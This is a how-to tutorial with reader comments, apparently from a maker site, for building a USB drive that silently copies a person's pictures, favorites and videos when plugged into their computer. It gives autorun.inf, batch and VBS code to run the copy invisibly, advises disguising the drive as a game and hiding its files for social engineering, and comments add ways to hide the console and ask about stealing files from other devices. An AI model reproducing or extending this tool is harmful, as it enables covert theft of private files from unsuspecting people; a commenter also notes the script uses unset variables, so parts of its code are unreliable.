How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Step 1: Materials Needed

Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.

Step 2: Create Autorun File for the Flash Drive

Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering.

Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.

action=Click ok to Run game for Windows

a couple of notes
the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf

look at pic two if you have any issues.

You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Anyways just save it to the drive name it drive.ico next time you pull the drive out and put it in you will have your custom icon. Great for social engineering if the situation arises, makes it much less of an issue to have someone click a file on the drive if it looks like a game or something.

next is the open= command this code takes the launch batch file and opens it.. more on the launch batch file later.

next it action= this can change to suit your needs, when the autorun launches it sometimes may ask the user what to open dependent on what you put here is what the user will think he is clicking on in the code above it tells the user to click here to run game for windows. This code acts as a backup just in case the user is asked what to open.

The shell/open command also acts as a backup in case the user clicks cancel instead of open when prompted... this code will execute when the drive letter is clicked on. No user can hold back on seeing what is in a random flash drive. That is the basis for this code.

Step 3: Make the File for Copy of Documents to Drive

This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google, I will however touch on the main points of the code.
Like the last step make sure you use word to make this file save it as file.bat and all files not a word file just like in the picture.
Code follows

@echo off
:: variables
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"
%backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites"
%backupcmd% "%USERPROFILE%\videos" "%drive%\all\vids"
@echo off

what this code does
looks for what drive letter the flash drive is and sets it
starts xcopy
looks for current users pictures, favorites, and videos folder then copy's them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window

now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% "%USERPROFILE%\music" "%drive%\all\music"

very clever huh

Step 4: Make Vb Script to Run Batch File As Invisible

This code is very simple it runs the file.bat as a process so it does not show the cmd prompt and everything the batch file is processing
Code it with word and save as invisible.vbs
All files once again.


CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False


Step 5: Make a Batch File to Launch Vb Script and File.batch

ok this batch file does two things, it looks for the invisible.vbs file in the root of the flash drive then loads it with file.bat so file.bat is run with code from vbs file.... neat huh.
create with word and save as launch.bat


wscript.exe \invisible.vbs file.bat


Step 6: Create Folder to Save Files Withing Thumb Drive.

Go to the root of the thumb drive and create a folder named all that's it for this step. All the documents will be saved in this folder in there separate folders.

Step 7: Put All Files in Root of Drive and Try Out

Now if you have not put all the files in the root of the flash drive it's time to do that now. One thing you can do is make all the files hidden, so for if some reason they look into the drive they will see an empty drive and not think anything. Now all you should have to do is plug into someones computer and let the thumb drive do its work after the LED is done flashing you should have all their files now. If for some reason it prompts for action just click the first one on the list then it will copy all files.

I would post a video if this in action but i am currently deployed to Iraq and bandwidth is very limited here if you have any questions or how i might make this Instructable better dont hesitate to mail me thanks and for looking
<p>Using commands to do such a task is what I feel is an overkill. I am currently using GS Richcopy 360 to automate my file transfer. Its easy to use and because of its multi threaded file transfer, the transfer speed is also quite high. Give it a try!</p>
This is gibberish.<br><br>/min is not a command (it is an argument for the start command)<br>You dont specify the flash drives letter at any point,<br>You haven't set the variables odrive or drive (so they will be blank)<br>Variable Odrive equals variable odrive minus the last two letters?<br>Echo is off already, no need to type it three times.<br>You clear the screen before exit - why, nobody will see because the program is closed..<br><br>@echo off<br>:: variables<br>/min<br>SET odrive=%odrive:~0,2%<br>set backupcmd=xcopy /s /c /d /e /h /i /r /y<br>echo off<br>%backupcmd% &quot;%USERPROFILE%\pictures&quot; &quot;%drive%\all\My pics&quot;<br>%backupcmd% &quot;%USERPROFILE%\Favorites&quot; &quot;%drive%\all\Favorites&quot;<br>%backupcmd% &quot;%USERPROFILE%\videos&quot; &quot;%drive%\all\vids&quot;<br>@echo off <br>cls
<p>What would you do/ recommend??/</p>
<p>and how do you only copy word and pdf files?</p>
Somebody reworked it in an android format?
<p>how can I copy a word file just a single file only, not all the word file in a directory ?</p>
<p>You would need to know the certain file name or have a loop</p>
<p>hi , how can i make a copy of another conected fdrive to my drive or to a specific folder on the computer everytime i conect a drive .</p><p>tks for the tutorial </p>
<p>how i can only on word documents file only on</p>
<p>i have a question, if i want to make a flash drive that will COPY like 200 pictures of a puppey face to someones desktop how would i do that?</p>
<p>test 123</p>
<p>man i have a problem i cant save a text as an .inf text on the usb drive what should i do??pls someone help</p>
<p>Windows have taken off the autorun capability since windows 7 through the updates and software updates. If you wanto make it work as a autorun file the windows verison has to be before 7. Sorry.</p><p>- Noah Wamboldt</p>
<p>Then does it works with windows 7 ?</p>
<p>how do i save bookmarks in firefox and google crome </p>
<p>hey is there a way to auto run the file.bat without it showing up?</p>
<p>becuse when i plug in my usb it dose not auto run</p>
<p>is there a way to delete the original files after copying them to the thumb drive and/or instead of copying, just moving them from point a to point b?</p>
<p>use XCOPY instead of COPY</p>
I got a notification email and when I come online to read it by clicking the REPLY link at the bottom, I come here and his Reply is nowhere to be found. So either something is screwed up with this site or he deleted his own Reply before I could see it online. I'm lost.<br>I Replied with this same stuff earlier and it isn't anywhere to be found either. So either the site is screwed up BIG TIME or someone is deleting both his Replies and Mine. It all makes no sense to me.<br>I wanted clarification on what to do with what Joseph had said as it seems to be aimed at a Windows XP user since it says to do things in a Start Search box and I don't think that those exist on a Windows 10 machine. I tried typing 'gpedit.msc' in Cortana's box and she didn't know what the heck I was asking her about. So, I'm lost still. <br>-----------------------------------------<br>From: JosephS177<br>Date: May 30, 2016. 11:51 PM<br>Subject: https://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/<br><br>The min command you mentioned isn't a command, I don't believe and auto run has been disabled as a standard since ~2009. Also, if you think partitioning in Windows is hard, try doing it in Terminal on Snow Leopard when it thinks it's not a device.<br>To enable Autorun you will have to change some settings on your computer. Click Start, type gpedit.msc in the Start Search box and then press ENTER. If you are prompted for an Administrator password or for confirmation, type the password or click Allow. Under Computer Configuration, expand Administrative Templates, then expand Windows Components and then click Autoplay Policies. In the Details pane, double click on Turn OFF Autoplay and make sure that it is set to disabled. In the Details pane, double click on Default behavior for Autorun, set it to Enabled and then select Automatically execute the autorun commands. Restart your computer.<br><br>reply: https://www.instructables.com/you/backtalk/?action=reply&amp;commentId=CUO943MIOSPDTFR<br>
<p>Please help me someone. I'm not to knowledgeable about this stuff but I really want to just use my little flash drive as a backup for my own stuff. It worked so cool the first time even though it ran for hours overnight. But it won't autostart and even though I can manually start it by clicking file.bat in File Explorer, I want it to work. AND I see a weird &quot; '/min' is not recognized as an internal or external command, operable program or batch file&quot; and also a few weird ACCESS DENIED errors in the box as it runs. But after checking, I think that it is copying everything. </p><p>This site won't let me paste in what I have in file.bat on this Windows 10 ACER. It acts like it will and flashes the text but then they're just gone. So I'll post PrintScreens instead.</p>
I don't understand how to use this site and I'm WAY sure that I'm not alone. It is screwed up if you ask me.<br>I got an email saying:<br>-----------------------------------------<br>From: NoahW9<br>Date: Apr 3, 2016. 1:32 PM<br>Subject: https://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/<br>Windows have taken off the autorun capability since windows 7 through the updates and software updates. If you want to make it work as an autorun file the windows version has to be before 7. Sorry.- Noah Wamboldt<br>reply: https://www.instructables.com/you/backtalk/?action=reply&amp;commentId=C84TN0FIMKTNO4Y<br>------------------------------------------<br>But when I clicked on the REPLY link on my Windows smartphone, it brought me to this site and that Reply of his was nowhere to be found. So then I thought that it must just be something wrong with my smartphone or some issue with how this site works on smartphones. <br>But now when I come to it on my Windows 10 computer by clicking on the same REPLY link in the email in my Outlook 2013, I also don't find his Reply anywhere. <br>So someone in IT REALLY needs to fix this site I guess. <br>I'll just give up on this site and use Tech Republic, Microsoft Answers, Bob's and other places to help me with stuff.<br>
I got a Reply on this but I haven't been able to find it online. Either I'm going nuts or this site is.<br>It came from JosephS177 on 5/31 but it is nowhere to be found. The email &amp; he said:<br>&quot;From: JosephS177<br>Date: May 30, 2016. 11:51 PM<br>Subject: https://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/<br>The min command you mentioned isn't a command I don't believe and auto run has been disabled as standard since ~2009 also if you think partitioning in windows is hard try doing it in terminal on snow leopard when it thinks it's not a device.TLDR&quot;To enable Autorun you will have to change some settings on your computer, Click Start, type gpedit.msc in the Start Search box, and then press ENTER. If you are prompted for an administrator password or for confirmation, type the password or click Allow Under Computer Configuration, expand Administrative Templates, then expand Windows Components, and then click Autoplay Policies. In the Details pane, double click on Turn off Autoplay ,and make sure that it is set to disabled. In the Details pane, double click on Default behavior for Autorun, set it to Enabled and then select Automatically execute the autorun commands Restart your computer.&quot;<br><br>reply: https://www.instructables.com/you/backtalk/?action=reply&amp;commentId=CUO943MIOSPDTFR &quot;<br>But clicking on either of those links brings me here and his Reply is nowhere to be found and believe my, I've tried.<br>Not only am I having that problem with this site but I also think that Joseph must be describing how I could make this flash drive program auto-start if I was using Windows XP since my Windows 10 doesn't seem to have anything called Start that I can Click to type in gpedit.msc in some Start Search box. Am I losing it&iquest;
<p>Yeah I am having the same problem<br><br>Everytime I have to click the file.bat</p>
I've been told that Microsoft built Windows 10 to not allow anything in a USB Flash Drive to autostart for security purposes. So I guess the only option is to click that file.bat each time only after you Delete any files that it saved the last time into any of the folders in ALL that you've edited on your computer. That way it will copy the new copy of it since this program unfortunately doesn't just sync them and only keep the newest copy. It apparently just skips it if it finds a file with the same name. <br>I'd actually asked for someone to help me make it do a SYNC instead of a COPY in this Question that I asked over at Microsoft Answers: http://answers.microsoft.com/en-us/windows/forum/windows_10-files/edited-can-i-have-help-making-this-homemade-usb/4ddaad45-70c2-4313-a78d-1682735fe1ee<br>Also, I've been told that even though Windows 10 is designed to not perform an autostart after inserting a USB Flash Drive, apparently there's a workaround where you can somehow designate some partition on the Flash Drive as if it is a CD or DVD disc and then Windows 10 can do the autostart. But that stuff is way over my head so I just do it the simple way by clicking FILE.BAT to get it going after you insert the Flash Drive and File Explorer pops up showing you what is on it.
<p>The min command you mentioned isn't a command I don't believe and auto run has been disabled as standard since ~2009 also if you think partitioning in windows is hard try doing it in terminal on snow leopard when it thinks it's not a device.</p><p>TLDR</p><p>&quot;</p><p>To enable Autorun you will have to change some settings on your computer.</p><ol><li>Click Start, type gpedit.msc in the Start Search box, and then press<br>ENTER.<li>If you are prompted for an administrator password or for<br>confirmation, type the password, or click Allow.<li>Under Computer Configuration, expand Administrative Templates, then expand Windows<br>Components, and then click Autoplay Policies.<li>In the Details pane, double click on <em>Turn off Autoplay</em> ,and make sure that it is set to disabled<li>In the Details pane, double click on <em>Default behavior for Autorun</em>, set it to Enabled and then select Automatically execute the autorun commands<li>Restart your computer.</ol><p>&quot;</p>
<p>Windows have taken off the autorun capability since windows 7 through the updates and software updates. If you want to make it work as an autorun file the windows version has to be before 7. Sorry.</p><p>- Noah Wamboldt</p>
I must have changed something in mid March 2016 since when I just ran it, it took a long time and it seemed to sync IE only Copy in any files that had been Modified. It took a long time, maybe an hour+?, as I saw it go thru the entire list of files is that little black screen instead of just the short list as it had done before.<br>If anyone knows what Setting I must have changed and where it is, could you tell me so I can make a note of that for the future?
<p>We have to double click launch.bat file to start copying. It is not automatically starting.</p>
<p>We have to double click launch.bat file to start copying. It is not automatically starting.</p>
<p>I'm currently only using the .bat file to transport files from &quot;to USB&quot; folder on my desktop to my thumb drive. </p><p>Maybe later i will add the invisible part. Sad though that the autorun does not work on newer version.</p><p>Ty for this tutorial, i found the way it is explained very clear.</p>
<p>$25 for an 8 gig drive? Wow! HUGE RIPOFF!!!!!! I got a package of 2 8GB cruzer glides for a little under $20.</p>
<p>Can this script be modified to steal files off usb drives?</p>
Can this be modified to steal files off android devices?
Yes it sort of can be modified but you then need to learn how to use Python
<p>Could anyone help me please? I just made one of these on my XP machine. Then I took the flashdrive to my Windows 10 ACER Aspire Z and it worked as it should when I put it in or at least I think it copied everything. I'm the only User so I'm also the Admin. But the 2nd time I inserted it, a box popped saying that it needed to restructure the drive or something (don't remember). I stupidly let it.<br>Then when I pulled it out and put it back in, nothing happened. The only way that I found to make it run at all is to use File Explorer and find file.bat and right click it and click RUN AS ADMINISTRATOR. </p><p>So I did that and it seemed to copy files. I was surprised since I'd needed to figure out what to name a few folders in file.bat and also since I saw a few 'ACCESS DENIED' as it ran. I reviewed everything I find in ALL and it seems like all is there. <br>I'd really like to fix it so that it will run just by inserting it. I took it back over to my XP and copied the 4 special files to the desktop and then did a Quick Format on the drive and then copied those 4 files back on and I created a folder named ALL.</p><p>But it still doesn't auto-start so I still need to go click on file.bat to get it going. At least this time I didn't need to RUN AS ADMINISTRATOR.</p><p>I'd also wanted to test it to figure out if I modified a file or even if I Deleted one, whether or not it would do that on the flash drive. <br>I'm new to this site and I don't know if it will email me if someone responds to help me. I hope that it does.</p>
<p>Am having issues am using a windows 8 and i followed the instructions one after the other but its not working </p>
<p>How can I make it to copy a flash drive? Let say someone has a flash drive plugged in and I put mine in and I can copy them without them knowing? I copied everything above and it works but i also want to be able to copy there flash drive help!!</p>
I made all the file as described but its is not working my windows is 8.1 pro. Plz. Solve my problem as fast as can. After i click on file.bat command prompt pop up and copying start . Solve my problem. Thanks
<p>my only question is how do you reverse the processs? How do you make the computer copy the USB files onto the computer? it seems that would be better for trolling</p>
<p>In the file.bat this code is in there to copy files from the PC.</p><p>%backupcmd% &quot;%USERPROFILE%\pictures&quot; &quot;%drive%\all\My pics&quot;</p><p>So if you switched the two codes in quotes it'll copy files from the USB. Like So.</p><p>%backupcmd% &quot;%drive%\all\My pics&quot; &quot;%USERPROFILE%\pictures&quot;</p>
ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7
below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter. @echo on :: variables SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% &quot;%USERPROFILE%\Favorites&quot; &quot;%drive%\backup\favorites&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.jpeg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.wmv&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Contacts&quot; &quot;%drive%\backup\contacts&quot; %backupcmd% &quot;%USERPROFILE%\Links&quot; &quot;%drive%\backup\links&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\My Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\Downloads&quot; &quot;%drive%\backup\downloads&quot; %backupcmd% &quot;%USERPROFILE%\My Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.mpg&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Pictures&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Videos&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\Downloads&quot; &quot;%drive%\backup\downloads&quot; %backupcmd% &quot;D:\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.jpeg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.wmv&quot; &quot;%drive%\backup\vid&quot; @echo on cls
<p>it only copy one file with same extention. but how we can copy many files with same extension</p>
hmm, is there a simple way i can exclude a specific folder? like say... &quot;AppData&quot;<br>it just keeps getting in the way.
just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say &quot; CreateObject(&quot;Wscript.Shell&quot;).Run &quot;&quot;&quot;&quot; &amp; WScript.Arguments(0) &amp; &quot;&quot;&quot;&quot;, 0, False &quot; also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?
You could get a batch to exe converter and most of them have options like run in background so it's an exe file but you can't see the command window when you run it.
There is in fact a way to not have a command box come up. The way I do it is:<br> +Write (and compile) a C file that runs your batch file's commands invisibly<br> <br> &nbsp;&nbsp;&nbsp;&nbsp; #include &lt;stdio.h&gt;<br> &nbsp;&nbsp;&nbsp;&nbsp; #include &lt;windows.h&gt;<br> &nbsp;&nbsp;&nbsp;&nbsp; int main()<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system(&quot;examplefile.bat&quot;);<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return (0);<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br> <br> <br> <br> +Write a VBS file that runs that compiled C program (now a shiny .EXE file)<br> <br> &nbsp;&nbsp;&nbsp; Set objSh = CreateObject(&quot;Shell.Application&quot;)<br> &nbsp;&nbsp;&nbsp; objSh.ShellExecute &quot;example-exe-file&quot;, &quot;&quot; , &quot;&quot;, &quot;&quot;, 0<br> <br> Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.<br> <br> This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).<br> <br> For more help, just comment.<br> <br> By the way, I was about to write an instructable on that, but now I dont think it's necassary.<br> <br>
lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.
hey please show me what to assign to folder for example if i want any bat file i say&quot; *.bat&quot; and for any file &quot;*.*&quot; what can i say for any folder any whare?? please ur blessed and show me

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